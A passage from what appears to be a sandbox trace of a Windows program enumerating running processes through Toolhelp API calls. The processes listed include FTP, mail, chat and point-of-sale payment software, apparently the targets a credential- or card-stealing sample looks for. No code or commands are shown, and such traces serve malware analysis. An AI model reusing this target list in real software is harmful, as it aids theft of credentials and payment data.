th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0272.784] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0272.786] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0272.788] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0272.790] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0272.792] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0272.794] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0272.795] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0272.797] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0272.799] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0272.800] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0272.802] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0272.803] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0272.806] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0272.808] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0272.810] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0272.812] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0272.814] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0272.824] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0272.827] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0272.829] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0272.831] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0272.833] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0272.835] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0272.837] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0272.839] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0272.844] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0272.846] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0272.849] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0272.851] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0272.853] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0272.855] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0272.857] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0272.859] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0272.861] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0272.863] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0272.865] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0272.867] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0272.869] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0272.871] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0272.873] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0272.875] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0272.877] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0272.879] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0272.881] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0272.883] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0272.885] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0272.887] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0272.889] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0272.891] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0272.893] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0272.895] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0272.897] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0272.930] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0272.932] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0272.934] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0272.936] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0272.938] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0272.940] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0272.941] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0272.943] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0272.945] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0272.947] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0272.948] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0272.950] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0272.952] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0272.954] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0272.955] CloseHandle (hObject=0x21cc) returned 1 [0272.955] Sleep (dwMilliseconds=0x64) [0272.957] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21cc [0272.969] Process32First (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0272.970] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0272.972] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0272.974] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0272.978] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0272.979] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0272.981] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0272.983] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0272.984] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0272.986] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.987] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.989] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0272.991] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.993] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.995] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.996] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.998] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, 